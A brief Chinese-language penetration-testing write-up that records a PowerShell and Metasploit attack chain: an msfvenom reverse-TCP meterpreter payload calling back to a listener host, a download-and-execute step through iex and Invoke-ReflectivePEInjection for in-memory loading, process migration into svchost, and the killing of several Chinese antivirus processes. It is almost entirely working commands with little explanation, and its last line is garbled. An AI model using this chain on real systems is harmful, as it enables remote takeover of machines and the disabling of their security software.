记一次PowerShell配合Metersploit的艰难提权

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe

python3 -m http.server

(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")

function Convert-BinaryToString {  [CmdletBinding()] param (    [string] $FilePath    )    try {      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);       }      catch {        throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";        }         if ($ByteArray) {          $Base64String = [System.Convert]::ToBase64String($ByteArray);        }        else {          throw '$ByteArray is $null.';           }         Write-Output -InputObject $Base64String;      }
Convert-BinaryToString C:6666.exe > C:res.txt

iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")

$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")

$PEBytes = [System.Convert]::FromBase64String($InputString)

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

ps -ef | grep svchost.exe

migrate 336

meterpreter > pkill ZhuDongFangYu.exe Filtering on 'ZhuDongFangYu.exe' Killing: 6056 meterpreter > pkill SafeDogGuardCenter.exe Filtering on 'SafeDogGuardCenter.exe' Killing: 5752 meterpreter > pkill HipsTray.exe Filtering on 'HipsTray.exe' Killing: 7416 [-] stdapi_sys_process_kill: Operation failed: Access is denied. meterpreter >

ps -ef | Safepkill Safe